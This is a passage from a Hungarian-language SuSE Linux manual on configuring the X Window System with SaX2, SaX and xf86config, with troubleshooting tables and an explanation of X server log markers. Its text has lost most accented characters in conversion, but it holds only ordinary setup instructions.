Mivel ez a paramter csak meghatrozza melyik X szervert hasznlja a SaX2 a bellts alatt, hasznos lehet az X szervert ezzel a lehet sggel indtani, egy o olyan grakus krtyval amit felttelezhet en tmogat az XFree86. o Bizonyos "egzotikus" grakus krtyk esetn, a SaX2 esetleg nem indul el megfelel mdban: ilyenkor elvgezhetjk a belltst a vga modult haszo nlva, de azutn vlasszuk a szksges lehet sgeket a kvnt meghajt moo dul rszre a Szakrt menben a Grafikus krtyk ablak o alatt. Az egr kzvetlen kivlasztsa a SaX2 indulsakor Ha a SaX2 nem kpes automatikusan rzkelni az egernket, parancssori paramterekkel hatrozhatjuk meg az egr tpust. Ezek a "-t" a hasznland protokoll meghatrozsra, s a "-n" az egrhez hasznlt eszkzfjl meghatrozsra. Pldul egy Intellimouse belltshoz, ami a PS/2 portra csatlakozik, hasznljuk az albbi parancsot:
root@meggyfa:/root > sax2 -t imps/2 -n /dev/psaux

A hasznlhat protokollokat a 8.1 . fejezetben (244. oldal)i tblzat a 8.3.1 . fejezetben (243. oldal) s az X szerver belltsi fjlrl szl manlapot, az XF86Config alatt talljuk. 252

8.3. Bellts a SaX2 hasznlatval Klnbz kijelz hibk kijavtsa o o ltalban a SaX2 helyesen fogja belltani a grakus krtyt: azonban vannak esetek ahol a kijelz min sge gyenge, amit kijavthatunk az X o o szerver belltsi fjlban lv lehet sgek megvltoztatsval /etc/X11/ o o XF86Config. Ilyen kijelzsi problmk, nha a hardver korltozsok miatt vannak, klnsen, ha a grakus krtya olcs DRAM memrit tartalmaz, ami nem kpes tmogatni a magasabb felbontsokat s frekvencikat. Egy msik problma, ami a BIOS Vidememria gyorsttr md belltsakor merlhet fel, egyes j BIOS verzik bizonythatan nem kompatibilisek az X hasznlatval. Ebben az esetben a Linux megfelel en fog futni szveo ges mdban, de slyosan sszezagyvlja a kperny t amikor az X fut, vagy o ppen teljes rendszersszeomlst okoz. Ha az X szerver nem indul el egyltaln, ez majdnem mindig a /etc/X11/ XF86Config belltsi fjlban lv szintaktikai vagy logikai hiba miatt van, o s valszn , hogy a belltsi fjlban megadott hardver nem tallhat meg u a gpben. rdemes lehet megnzni az X szerver hibanaplt, ami a 8.3.3 . fejezetben (255. oldal) fjlban lthat. A lehetsges problmk megoldst, az albbiakban tekintjk t. Sok kijelz n problmt okoz a tl magasra lltott vzszintes szinkron o frekvencia (vsync), ami helytelen rtkeket eredmnyez a hsync s a DotClock szmra. A 80 Hz-re lecskkentett kpfrekvencia, pldul, mg mindig remegs nlkli kpet fog adni, s ami szintn egy nagy dolog, lesebb, mint a 160 Hz-esre lltott. A 80 Hz-es kpfrekvencinl a pixelfrekvencia csak a fele, mint a 160 Hz-esnl. Ezrt prbljuk meg lecskkenteni a hasznlt fgg leges frekvencia rto ket. Ehhez vlasszuk ki a Monitor flet a SaX -ban, s a Halad rszben kell alacsonyabbra lltanunk a maximlis frekvencit. A modern monitorok rszere a norml kpfrekvencia 80 s 90 Hz kz esik. Nha problmk vannak a "hardver egrmutat"-val is. Ekkor ahol az egrnek kne lennie, egy ngyzetet vagy olyasmit fogunk ltni, mint egy "vonalkd". Ennek megoldsa: rjuk be a "sw_cursor" opcit a Section "Device"-hoz. A legjobb hely, informcik s tletek utn nzni a README fjlokban ahol a lapkagyrtk (chipset manufacturers) neve a /usr/X11R6/lib/ X11/doc/ knyvtrban tallhat. Az X szerver kziknyvlapok s az XFree86 gyakran ismtelt krdsei (FAQ) szintn hasznosak (http://www.xfree86.org). A SuSE is nyjt informcit, s a SuSE oldalak itt vannak a frisstshez: http://www.suse.de/en/support/xsuse/ Az albbi tblzat a valszn sg szerint van besorolva, azaz szably szerint u az els lpssel sikerlni fog, klnben a msodik lpssel. A 3-ik lps o rendszerint az utols megolds . . . Az sszes lehet sget a /etc/X11/XF86Config fjl eszkzket ler ro sze (device section) sorolja fel. 253

8. Az X Window rendszer Nincs egrmutat, csak egy sznes ngyzet "vonalkd". 1. Adjuk hozz az sw_cursor lehet sget a Section "Device"o hoz. 2. Adjuk hozz a no_imageblt vagy no_bitblt lehet sget. o 3. Adjuk hozz a noaccel lehet sget. o A kp tl keskeny, vagy nyomott. A monitor belltsa mr elrte a hatrt. 1. A frekvencia arny vagy a hsync frekvencia valszn leg tl magasra u van lltva s elrte a monitor kpessgeinek hatrt. Megolds: cskkentsk a vsync s/vagy a hsync frekvencit. 2. lltsuk be a kpet az xvidtune programmal. Valszin , hogy csak egy u md nem egszen megfelel . o 3. Adjuk hozz a +hsync +vsync paramtereket a modeline-hoz s prbljuk meg felcserlni a + -t a - -al. Amikor az ablakokat mozgatjuk, cskozdik, "csomsodik" vagy az ablakok egy rsze ottmarad ahol van. Nem tnnek el mg akkor sem, ha a mozgatst befejeztk. Csak a munkaasztal frisstsvel tunnek el. 1. Cskkentsk a kp frekvencit vagy a felbontst. 2. A chipkszlett l fgg en, hasznljuk a vonatkoz lehet sgeket a o o o README fjlbl a /usr/X11R6/lib/X11/doc/ alatt. Pldul a fifo_conservative vagy a slow_dram lehet sget. Megjegyo zs: a kvnt lehet sg a chipkszlet sajtossgaitl fgg. o 3. A noaccel lehet sg, de el fordulhat, hogy a no_imageblt vagy o o a no_bitblt is elegend lehet. o "Zaj" Kp interferencis amikor mozgatjuk az ablakokat vagy videkat nznk amik eltnnek, amikor a kp mozdulatlan. 1. Cskkentsk a frekvencia rtket, sznmlysget vagy a felbontst. 2. Cskkentsk a krtya frekvencia rtkt, vagy emeljk vagy cskkentsk a vrakozst (wait states). Ez nha m kdik a set_mclk-al u (nem minden chip sets-el!). Tovbbi rszletes informci tallhat a README knyvtrban. Figyelem: ez a lehet sg elg veszlyes, a kro tya bellthat igen magas frekvencira is). 3. El forduIhat, hogy a busz sebessgrtke tl magasra van lltva. Elo len rizzk a busz sebessgt a PCI/VLB-n vagy ISA buszon. o Amikor az XFree86 elindul, a kperny fekete lesz. o 1. Cskkentsk a frekvencia rtket. 2. Ellen rizzk a gpnk BIOS belltst. Deaktivljunk minden "Optio mization settings"-et a BIOS-ban. Ktsg esetn lapozzuk fel az alaplap kziknyvt. Szoksos megolds a Video memory cache mode lehet sge, o az AGP Aperture size s az sszes lehet sg, ami szabo lyozza a PCI busz elrst, mint a PCI Peer concurrency 254

8.3. Bellts a SaX2 hasznlatval vagy hasonl. Szinte mindig megtalljuk ezeket a belltsokat az Advanced Chipset Features men alatt. 3. Gondoljunk ms lehetsges hibaforrsokra: ellen rizzk le a rendo szert, az IRQ koniktus miatt (pl. a PS/2 egrnek az IRQ 12 kell). 8.3.4 Az X szerver naplfjl

Az X szerver problminak elemzsre van egy nagyon rszletes naplfjl, amit az X szerver hoz ltre amikor beindul. Ezt a fjlt az XFree86-4.0 X szerver hozza ltre a kvetkez minta szerint /var/log/XFree86. o Display.Screennummer.log. Ha csak egy X szervert indtottunk el (ami a norml eset) s ezt a kijelz t a "0" szmmal lttuk el, ennek a napo lfjlnak a neve rendszerint /var/log/XFree86.0.log lesz. Figyeljk meg, hogy a SaX2 kivtel ez all a szably all: Itt, legalbbis ideiglenesen kt X szerver fut (Display :0) a belltsi ablakhoz s ks bb egy msik o (Display :1) a belltsok ellen rzshez. o Tudatban kell lennnk, hogy ennek a fjlformtuma drasztikusan megvltozott az XFree86-3.3.x ta. Most sokkal jobban megklnbztethet k az o informcis zenetek, a belltsi fjlokbl vett rtkek, a gp hardvert l o szrmaz adatok, a gyelmeztetsek s a hibk. ltaIban egy ilyen naplfjl eleje olyan, mint ami a 8.3.1 fjllistban lthat.
XFree86 Version 4.0 / X Window System (protocol Version 11, revision 0, vendor release 6400) Release Date: 8 March 2000 If the server is older than 6-12 months, or if your card is newer than the above date, look for a newer version before reporting problems. (see http://www.XFree86.Org/FAQ) Operating System: Linux 2.2.13 i686 [ELF] SuSE Module Loader present (==) Log file: "/var/log/XFree86.0.log", Time: Sat May 20 13:42:15 2000 (==) Using config file: "/etc/X11/XF86Config" Markers: (--) probed, (**) from config file, (==) default setting, (++) from command line, (!!) notice, (II) informational, (WW) warning, (EE) error, (??) unknown. (==) ServerLayout "Layout[all]" (**) |-->Screen "Screen[0]" (0) (**) | |-->Monitor "Monitor[0]"

8.3.1 fjllista: Kivonat az X szerver naplfjlbl Ez az albbi informcit nyjtja: Ez egy XFree86 X szerver 4.0 verzi, kompatibilis az X11R6.4-el "kibocsjtsi szma 6400". El lltsi dtuma 2000 Mrc. 8. o Az Operating System: Linux 2.2.13 i686 [ELF] SuSE sor arra a rendszerre utal amelyiken az X szervert fordtottk. A rendszermag verzi s a CPU meghatrozsa ezltal klnbz lehet a mi rendszernkt l. o o Ezen verzizenetek utn az els bejelentkezsi bejegyzsek jelennek meg, o amiket az X szerver hoz ltre az indulsakor. El szr is ez a megfelel o o naplfjl? A Time: utn az id pont lthat, amikor a naplfjl kszlt. Nha o el fordul, hogy rossz naplfjlban keresnk valamit;-) o Ugyanez rvnyes a belltsi fjlra is, ha nem hatrozunk meg egy msik fjlt a parancssornl, ez mindig a /etc/X11/XF86Config lesz, a norml SuSE Linux rendszeren. 255

8. Az X Window rendszer Az albbi 8.3 tblzat megmagyarzza az albbi sorok elejn zrjelben lv o kt karakter jelentst:

SzimblumJelentse (==) Az X szerver alaprtelmezse (- -) rtkek, amiket a rendszerb l vett az automatikus hardver ro zkels sorn. (**) Belltsok rgztve a belltsi fjlban. (++) Paramterek, amiket a parancssornl adtunk be. (!!) Itt az X szerver kzli velnk rszletesen, hogy mit is "csinl". (II) Az X szerver moduljainak verzi szmai, stb. rendszerint, mint "informcis zenetek" kerlnek rztsre. (WW) Figyelem: itt az X szerver kzli velnk, hogy mirt nem hajtott vgre bizonyos dolgokat, amik a belltsi fjlokban vannak meghatrozva, vagy amiket alapbl kellett volna aktivlnia. (EE) Hiba! Ezek az zenetek vezetnek az indtsi eljrshoz vagy az X szerver sszeomlshoz. Nzzk meg a sorokat a naplfjlban, amik (EE)-vel kezd dnek, ha az X szerver nem indul o el. Ezeknek az zeneteknek az rtelme alapjn sajt magunk is megoldhatjuk a legtbb hibt.

8.3 tblzat: zenettpusok az X szerver naplfjlban Leellen rizhetjk a naplfjlt a SaX2 belltsi programon bell, ha mego nyomjuk a kzps egrgombot. Az X szerver hibi s gyelmeztetsei o sznesen kiemel dnek. Ez a fjl jelenik meg ha az X szerver amit a SaX2 o hvott meg ellen rzsi clbl, nem indul el, vagy egy hibazenettel lell. o Ha valami vratlan trtnik amikor a SaX2 beindul vagy a belltsi lpsek alatt, akkor az sszes hibk s lpsek a SaX2 re vonatkozlag a /var/log/ SaX.log naplfjlba kerlnek bejegyzsre. Az X szerver hibi a /var/ log/XFree86.0.log fjlba kerl naplzsra a fentebb lertak szerint. Ezeknek a fjloknak az rtelmezsvel tleteket kaphatunk, miknt folytassuk tovbb innen.

8.3.5 Az X Window rendszer indtsa Az X Window System a startx parancsra indul el. A plda felhasznl el re o belltott GUI-knt az fvwm ablakkezel t kapja. Javasoljuk az X Window o System indtst err l a felhasznli hozzfrsr l, s nem mint root. Az o o X11 szerver hibazeneteit a ~/.X.err fjl orzi. A startx parancsnak van egy pr lehet sge; pldul kivlaszthatunk 16 bit sznmlysget az albbi o bersval
jancsi@meggyfa: > startx -- -bpp 16

256

8.4. Bellts a SaX -szal

8.4

Bellts a SaX -szal

Az XFree86 3.3.x verzijnak belltshoz a rgi SaX-ot (SuSE Advanced X Conguration Tool) a SaX2 helyett kell hasznlni. A 4-es verzij XFree86-hoz a korbban mr bemutatott SaX2-t clszer hasznlni. Azoku ban az esetekben amikor XFree86 3.3.x-re van szksgnk a kvetkez kben o lertak segthetnek. A SaX (sax) programot root felhasznlknt kell elindtani. Tovbb el lehet indtani a YaST programbl: Rendszeradminisztrci majd Az XFree86[tm] konfigurlsa (lsd a 3.6 . fejezetben (102. oldal)). A programot parancssorbl a kvetkez mdon lehet elindtani: o
meggyfa:/root # sax

A program indtsakor behelyezett PCI krtyt keres. Tallat esetn beazonostja, s a krtya rsz alatt megjelenik a programban. A PCI keress utn a f ablak jelenik meg az albbi flekkel: egr (egr), o billenty zet (billentyzet), videokrtya (krtya, monitor ( u u monitor) s kperny (kperny). o o (A flek kztt, azokon val kattintssal lehet mozogni). A kvetkez lpso ben a SaX betlti a sajt hardver adatbzist (ez pr msodpercig eltarthat). A keress sorn azonostott elemeket a megfelel kategrikban lehet megtao llni, az aktulis videokrtyt gy pldul a kperny rsz tartalmazza. o A SaX ltal belltott rtkek a legtbb esetben megfelel ek, de szksg o esetn mdostani/pontostani kell azokat. A programot t "bellt fln", Egr, Billentyzet, Kru tya, Monitor s Kperny, keresztl lehet kezelni. A flekre o kattintva a megfelel ablakok fognak megjelenni. o Rosszul belltott egr esetn a billenty zettel lehet a SaX -ot kezelni. A u Tab billenty folytonos megnyomsval a klnbz mez k kztt lehet u o o mozogni. A klnbz ablakok kztt gy lehet vltani, hogy a o Tab -ot addig nyomkodjuk, amg a kvnt fl felirata fekete keretben meg nem je lenik; ezutn ms flre a vagy nyilak hasznlatval lehet rllni, a kvnt ablakba a (Enter) gomb megnyomsa utn lehet lpni. Mindegyik ablakban tbb vlaszthat elem tallhat, mint pldul gombok, listk s beviteli mez k. Csak billenty zettel ezek is elrhet ek. Pl. az Alkalo u o maz) gombra a lehet rllni, majd a Tab -bal vagy (Space) gombot megnyomva a kvnt vltoztatsokat elrni. A listk elemeit gy lehet elrni, hogy a addig nyomkodjuk, amg a Tab -ot lista ki nem lesz vlasztva. Ezek utn a s nyilakkal lehet a lista elemei kztt mozogni, s az Enter aktivlni. -rel Az egr A program indtsakor az els ablakban, az Egr belltsok ablakban o talljuk magunkat (lsd a 8.7 brt). 257

8. Az X Window rendszer

8.7 bra: SaX : egr belltsok Ha a rendszerben mr belltott egr tallhat, pl. a Linux teleptsekor a gpm-hez lett megadva egr, akkor a SaX a belltott rtkek alapjn az X Window System szmra azonnal elrhet v teszi az egeret ez esetben a o kvetkez rszt tugorhatjuk. o Ha mg nem trtnt meg az egr belltsa, akkor itt az id , be kell lltanunk. o A Tab ktszeri lenyomsval az egr Gyrt-k listjba jutunk (a s nyilakkal lehet kzttk mozogni); Enter lehet a kivlasztott gyrtt -rel elfogadtatni. A megfelel egr tpust egy jabb lehet kivlasztani. o Tab -bal Az Alkalmaz gomb segtsgvel lehet leellen rizni a belltsok helyeso sgt. Az egrnek ekkor a kperny n megfelel en kell m kdnie. o o u Ha pontosan nem tudjuk milyen tpus egr van a szmtgphez csatlakoztatva, vagy a tpusa nem tallhat a listban, vagy a soros egr Microsoft gyrtnl tallhat Szabvnyos Egr protokollal sem m kdik, akkor a Szakrt menben lehet kzvetlenl az egeret u o belltani. Itt olyan dolgokat lehet megadni, mint az tviteli sebessg s a "hrom gomb emullsa". A Szakrt menb l a kvetkez ablakok rhet k el: o o o o eszkz: Ha a gyrt nem ismert, akkor az egr protokollja itt adhat meg. Az egrmeghajt eszkzt is itt lehet megadni. Bus-tpus egereket valamelyik PS/2-es tpussal lehet mkdtetni. opcik 3-gomb emullsa, stb. Teszt: Az egr belltsokat lehet az ablak als rszben a Tesztmezo ben kiprblni (lsd a 8.8 brt). Ha az egr jl lett belltva, akkor az egeret brzol kpen a helyes mkdst lehet nyomonkvetni. A billentyuzet Alapbelltsknt Angol kioszts Windows 95/98 billenty zet van megu adva (lsd a 8.9 brt). Ms kioszts belltshoz neknk kell a megfelel o 258

8.4. Bellts a SaX -szal

8.8 bra: SaX : szakrt egr bellts o rtkeket megadnunk, mivel a billenty zet egyike azon hardverelemeknek, u amelyet csak hardverfelismerssel nem lehet pontosan belltani.

8.9 bra: SaX : billenty zet u A kperny n a Billentyzet alatt megjelen kp alapjn knnyen ki o u o lehet vlasztani a rendszerhez kapcsolt billenty zet tpust. A kvnt nyelvet u a nyelv menben lehet megadni. A trls gomb mellett tallhat beviteli mez ben lehet a belltsokat ellen rizni. o o Legtbb esetben nincs szksg a Szakrt menben tallhat bello tsokra... A vltozsok az Alkalmaz gomb megnyomsa utn lpnek 259

8. Az X Window rendszer rvnybe.

A grakus krtya A krtya ablakban a baloldali listbl a krtya gyrtjt, mg a jobboldali listbl a krtya nevt lehet kivlasztani (lsd a 8.10 brt). A SaX mindig megprblja azonostani a grakus krtyt, ez a legtbb PCI krtya esetn jl m kdik. A program az azonostst egy hardver adatbzis alapjn u vgzi el; lsd a cdb Rszegysgek AdatBzist. A megtallt hardvert sznessel jelli a program.

8.10 bra: SaX : grakus krtya

Ugyanabban a krtyacsaldban nha el fordulnak "mdostott" krtyato pusok (pldul eltrsek a Ramdac-ban). Ezrt el fordulhat, hogy a SaX o ms krtyt jell meg tallt elemknt, mint ami a krtya gyri lersban tallhat. Ezekben az esetekben a gyri lersban megadottakat clszer u belltani a Szakrt men segtsgvel. o A Szakrt menben szmos belltst lehet megtallni (lsd a 8.11 o brt). Ezek f leg akkor fontosak, ha az X szervert mi magunk vlasztjuk ki o (X szerver). Itt mg meglehet adni a memria mrett, a RAMDAC sebessgt vagy az rajelet (lsd chipsets). Ha a kperny n furcsa o alakzatok pldul ablakmozgatsnl az ablak egy rsze, vagy fejlce nem megfelel en jelenik meg akkor a RAMDAC-nl belltott rtket clszer o u cskkenteni. Nhny grakus krtynl az ablakon tallhat Opcik-ban tovbbi rtkeket kell belltani; a legtbb esetben azonban nem kell itt semmit sem megvltoztatni. 260

8.4. Bellts a SaX -szal

8.11 bra: SaX : grakus krtya szakrt bellts o

Az ISA krtykat nem ismeri fel "automatikusan" a program; ezekhez a krtykhoz neknk kell "kivlasztani" a megfelel szervert. o Ha a "SVGA Szerver nincs teleptve..." hibazenetet ltjuk, akkor telepteni kell a YaST -tal (lsd a 3.4 . fejezetben (96. oldal)) a fenn emltett csomagot. A monitor Az X belltsnak utols problms lpse a monitor kivlasztsa. A Monitor ablak baloldaln itt is a monitor Gyrt-ja kzl lehet vlasztani. A gyrt kivlasztsa utn a jobb oldali listbl a monitor tpust ( Tpus) kell megadni. Ha a listban nem szerepel a monitorunk, akkor a Szakrt menben meg kell adnunk a vzszintes s fgg leges kpfo o risstsi frekvencikat. Ezeket tbbnyire megtalljuk a monitorhoz mellkelt kezelsi tmutatban. Ha nem tudjuk a monitorunk ezen adatait, akkor a SaX 29-61 kHz vzszintes s 60-70 Hz fgg leges kpfrisstsi frekvencikat fog belltani. A legtbb o monitornak gond nlkl kell ezzel m kdnie. u Ha az X szerver indtsa utn a monitor msodpercekig stt marad, vagy billenty hrmassal azonnal le u szaporn villog, akkor a Ctrl + Alt + kell lltani a szervert, klnben a monitor krosodhat. A kperny o A grakus krtya belltsa utn klnbz kperny felbontsok s szno o mlysgek kzl kell vlasztani. Ezeket a kperny menn keresztl o lehet megtenni (lsd a 8.12 brt). A kperny ablak nagyban hasonlt egy msik opercis rendszer belo ltablakra. Az ablakban klnbz felbontsokhoz (felbonts klnbz szno o mlysgeket (sznek) lehet megadni. 261

8. Az X Window rendszer

8.12 bra: SaX : kperny o Ha egy adott sznmlysghez tbb felbontst szeretnnk megadni, akkor azt szakrt i mdban (Szakrt, lsd a 8.13 brt) tehetjk meg. o o

8.13 bra: SaX : munkaasztal A Felbonts ablakban a kvetkez k tallhatak: o Felbonts Az ablak hrom rszre van osztva: Lehetsges felbontsok. Tnyleges felbonts. Sznek a klnbz sznmlysgek. o El szr jobboldalon ki kell vlasztani a kvnt sznmlysget (Szo nek); majd a felbontsok kzl kell vlasztani. Az X szervert klnbz sznmlysgekben lehet indtani, pl. 8 bit; o amely azt jelenti, hogy a kperny n maximum 256 szn jelenhet meg. o 262

8.4. Bellts a SaX -szal Minden egyes sznmlysghez ms s ms kperny felbonts tartozhat, o pl. 800x600. Azonban nem mindegyik felbontsban lehet brmilyen sznmlysg. Ezt a grakus krtyn tallhat memria mrete hatrozza meg. 8 bit-es sznmlysghez szmos felbonts vlaszthat 1600x1200tl 640x480-ig; ezeket a Tnyleges felbontsok listjban lehet ltni. A klnbz felbontsok kztt o Ctrl + Alt + + s Ctrl + Alt + - billenty kombincikkal lehet vltani (fel s le). A listban u megadott legels felbontssal fog futni az X szerver indtsakor. o A lehetsges felbontsok kzl a tnyleges felbontsok kz gy lehet rtket adni, hogy a lehetsgesek kzl kivlasztjuk a kvnt belltst majd a I-vel hozzadjuk a tnylegeshez. A R-re kattintva a kijellt felbontst lehet a listbl trlni. A tnyleges lista elemeinek sorrendjt az ablak aljn tallhat nyilakkal lehet vltoztatni. El szr ki kell jellni a mozgatni kvnt elemet, o majd a bal egrgombbal kattintani a fel- vagy lefel mutat nylra attl fgg en, hogy a kijellt elemet fel vagy lefel akarjuk mozgatni. Ezzel a o kijellt elem helyet cserl az el tte vagy utna lv elemmel. o o Ha mindent belltottunk 8 bit sznmlysgen, akkor lehet a jobboldalrl msik sznmlysget vlasztani (pl. 16 bit belltshoz. Az jabb sznmlysghez a lehetsges felbontsokbl lehet megint vlasztani, gy ahogy az el bb mr leirtuk. o Virtulis felbonts: az ablakon a kperny virtulis felbontst o lehet belltani. A Virtual X (= szlessg) s Virtual Y (= magassg) rtkeivel lehet a virtulis kperny mrett belltani. A o legtbben nem hasznljk ezt a lehet sget. Httrinformci: az X Wino dow System a valdi kperny mretnl nagyobb kperny k kezelsre is o o kpes, pldul 800x600 felbonts mellett is lehet 1152x864 felbontst hasznlni, virtulis felbontsknt. Specilis: a specil ablakban a felhasznl egyb belltsokat adhat meg, ilyen lehet pldul a klnbz "modelineok" megadsval, o amellyel klnbz megjelensi mdok kzl lehet vlasztani. o Ezek utn meg kell adni azt a sznmlysget, amellyel az X szerver indul. Ehhez ki kell vlasztani brmelyik sznmlysget kperny ablakon ( o sznek), mint az alaprtemezett sznmlysget. A Konfigurlja ezt a mdot gombra kattintva megtrtnik az j belltsok elmentse s azok ellen rzse. o Belltsok tesztelse Rvid id utn megjelenik egy vlaszt ablak; ha a belltsok megfelelnek, o akkor kattints az OK gombra. Ezek utn egy munkaterlet rszben meg fog jelenni egy ablak, amelynek balrszben a jelenlegi belltsok (felbonts, vzszintes s fgg leges kpfrisstsi frekvencik) tallhatak. o A jobb oldali rszben mret s pozci gombok jelennek meg, amelyekkel a kpet lehet mozgatni. A mret menben tallhat nyilakkal a kp vzszintes s fgg leges mreteit lehet vltoztatni, mg a pozci o 263

8. Az X Window rendszer keretben a kp elhelyezkedst a monitoron lehet megvltoztatni. lltsuk be a neknk tetsz elhelyezkedseket. o A kp ngy sarkban kis ngyzetek tallhatak, amelyeknek jl lthatan s torzulsmentesen kell kinznik. A SaX -szal csak apr mdostsokat lehet a monitor belltsokon elvgezni; ezrt nem helyettestheti a monitor belltgombjaival elvgezhet o belltsokat! A kp belltsai utn az ablakbl ktflekppen lehet kilpni: Ments: Az X Window System lelltsa s a belltsok mentse. Ezzel a parancssorba jutunk vissza. Mgsem: Az X szerver blltsnak megszaktsa s a vltozsok elvetse. Az Alt + F1 billenty kkel az els konzolra lehet visszamenni. u o 8.4.1 jra-kongurls A SaX -szal egy mr m kd X szerver belltsait is meg lehet vltoztatni. u o A SaX az X Window System mr ltez belltsi fjljt o (/etc/XF86Config) hasznlja. Ebben az esetben nem kell mindent belltanunk, mivel a fjlban megadott rtkeket a SaX a mr korbban emltett ablakokban megjelenti. Ez esetben is azt llthatunk be X szervernek amit akarunk: j monitort, hogy a kpek jobban lthatak legyenek, vagy a megfelel helyen legyenek a o monitoron. A SaX grakus felhasznli felletvel (GUI) knnyen vlaszthatunk a klnbz sznmlysgek s felbontsok kzl a kperny ablakban. o o 8.4.2 Hibaelhrts Itt az X windows SaX -szal trtn belltsakor leggyakrabban el fordul o o hibkrl lesz sz: Ha a kp villog a bellts tesztelsekor, vagy stt kperny jelenik meg, o akkor azonnal le kell lltani az X szervert, nehogy krosodjon a monitor az alkalmazott belltstl. Nyomjuk meg a Ctrl + Alt + billenty ket. u A Monitor ablakban msik monitort, vagy a monitorunk rtkeit kell megadnunk; ugyangy kell eljrni, ha a kp villdzni kezd ha a kperny n o vltoztatunk. Ritka esetekben kell hasznlni a SaX kvetkez parancssori kapcsolit: o -servervga16: Ezzel a SaX VGA16 szerveren fog futni, nem pedig a krtynknak megfelel szerveren. Ez a szerver majdnem minden o VGA krtyn mkdik. Ez a szerver kerl elindtsra, ha a grakus krtynkat nem ismeri fel a program, vagy ha ISA krtynk van. 264

8.5. Bellts az xf86cong segtsgvel A SaX dokumentcija a /usr/doc/packages/sax knyvtrban tallhat. Ha a SaX indtsakor, vagy a belltsi folyamat kzben brmi vratlan trtnik, akkor a /root/ServerLog s /root/StartLog fjlok segthetnek a hiba kidertsben s megoldsban.

8.5

Bellts az xf86cong segtsgvel

Fordtotta: Fodor Orsolya A legtbb esetben, az XF86Setup jobb, mint az xf86cong, amely egy egyszer bellt eszkz. Mindazonltal nhny ritka esetben el fordulhat, hogy u o az XF86Setup nem m kdik megfelel en. Ha mgis ez trtnik, hasznljuk u o az xf86cong-ot, amely szinte mindig m kdik. u Az XFree86 4.0 tartalmaz egy egyszer , karakteres fellet bellt prograu u mot, az xf86cong-ot. Ez klnbz krdseket tesz fel az egyes bello tsi lehet sgekre vonatkozan, majd elkszti a /etc/X11/XF86Config o kongurcis fjlt. Habr az XFree86 4.0-ban az xf86cong hasznlatra tbbnyire nincs szksg, nhny "problms" videkrtya bellthat a "Framebuffer" vagy a vga rszekkel, ahogy ezt lertuk a 8.3.3 . fejezetben (251. oldal) s a 8.3.3 . fejezetben (252. oldal). Hasznlathoz a kvetkez informcikra lesz szksge: o az egr tpusa, portja, vagyis ahov csatlakozik, s sebessge (a sebessg megadsa csak opcionlis). a videkrtya jellemz i o a monitor adatai (kpfrisstsi frekvencia, stb.) Ha mindezekkel a belltsi lehet sgekkel tisztban vagyunk, vagy hardvero eszkzeink kziknyvei elrhet tvolsgban vannak, elkezdhetjk a bello tst. Emlkeztet l: a bellts csak root-knt vgezhet el. o o A bellts elkezdshez adja ki a kvetkez parancsot: o meggyfa:/root # /usr/X11R6/bin/xf86config Az egr Az dvzl kperny utn a program megkrdezi az egr tpust. A kvetkez o o o lehet sgek kzl vlaszthatunk (lsd mg a 8.5.1 kperny listt): o o
1. 2. 3. 4. 5. 6. 7. 8. Microsoft kompatibilis (2 gombos) Mouse Systems (3 gombos) Soros egr PS/2-es egr Logitech egr (soros, rgi tpus, Logitech protokollos) Logitech MouseMan (Microsoft kompatibilis) MM Series MM HitTablet

8.5.1 kperny lista: Egr tpus kivlasztsa X alatt o

265

8. Az X Window rendszer Amikor kivlasztjuk az egr tpust, vegyk gyelembe, hogy a Logitech egerek tbbsge Microsoft kompatibilis vagy a MouseMan protokollt hasznlja. A soros egr vlasztsa (Bus Mouse) brmelyik soros egrre vonatkozik, belertve a Logitech-et is! A kivlaszts a megfelel sorszm megadsval trtnik. Megjelenhet egy o krds, a ChordMiddle engedlyezsre vonatkozlag. Ez nhny Logitech egr vagy hanyattegr kzps gombjnak hasznlathoz szksges. o
Vlaszoljunk a kvetkez krdsre igennel (az y megnyomsval) o vagy nemmel, az n megnyomsval. Engedlyezi a ChordMiddle hasznlatt?

Ha kt gombos egere van, emullhatjuk a harmadik egrgombot a kvetkez o krdsre adott y (igen) vlasszal.
Vlaszoljunk a kvetkez krdsre igennel (az y megnyomsval) o vagy nemmel, az n megnyomsval. Engedlyezi az Emulate3Buttons hasznlatt?

A kzps egrgomb emullsa egyszer en a bal s a jobb egrgombok o u egyttes megnyomsval trtnik. Ezutn meg kell adni az egr csatlakozsnak tpust :
Most adjuk meg annak az eszkznek a teljes nevt, ahov az egr csatlakozik, pl. /dev/tty00. Az Enter megnyomsval az alaprtelmezett /dev/mouse-t fogja hasznlni a rendszer. Egr eszkz megadsa:

Ha a rendszer teleptse sorn mr megadtuk az egr portjt, csak nyomjunk Entert a /dev/mouse elfogadshoz. A billentyuzet A program a kvetkez kben megkrdezi, hogy szeretnnk-e a Meta (ESC)-et o hozzrendelni a baloldali Alt gombhoz s a ModeShift-et a jobboldali Alt gombhoz.
Vlaszoljunk a kvetkez krdsre igennel (az y megnyomsval) o vagy nemmel, az n megnyomsval. Szeretn engedlyezni az Alt billentyk ezen belltsait? u

Ha igennel (y) vlaszolunk, a magyar billenty kiosztst rhetjk el a jobb u Alt megnyomsval, a bal Alt mint meta billenty hasznlhat3 . u A monitor Ezutn meg kell adnunk a kperny tulajdonsgait. Legynk vatosak a vzo szintes s a fgg leges frisstsi frekvencik megadsval! Ezek az rtkek o megtallhatk a monitor kziknyvben, feltve hogy az megvan mg. :-))
3

pl. az Emacs programban.

266

8.5. Bellts az xf86cong segtsgvel A frekvencik helytelen megadsval tnkretehetjk a monitorunkat, klnsen ha az egy rgebbi tpus! Az X Window rendszer csak azokat a videmdokat hasznlja, amelyek a megadott frekvenciatartomnyba tartoznak. Ha olyan frekvenciatartomnyt adunk meg, amelyet a monitor nem tmogat, a kperny meghibsodst rhetjk el! o A monitorok listja megtallhat a /usr/X11R6/lib/X11/doc/ Monitors elrsi ton4 . A vzszintes frekvencia megadshoz a kvetkez lista jelenik meg (lsd mg o a 8.5.2 kperny listt): o
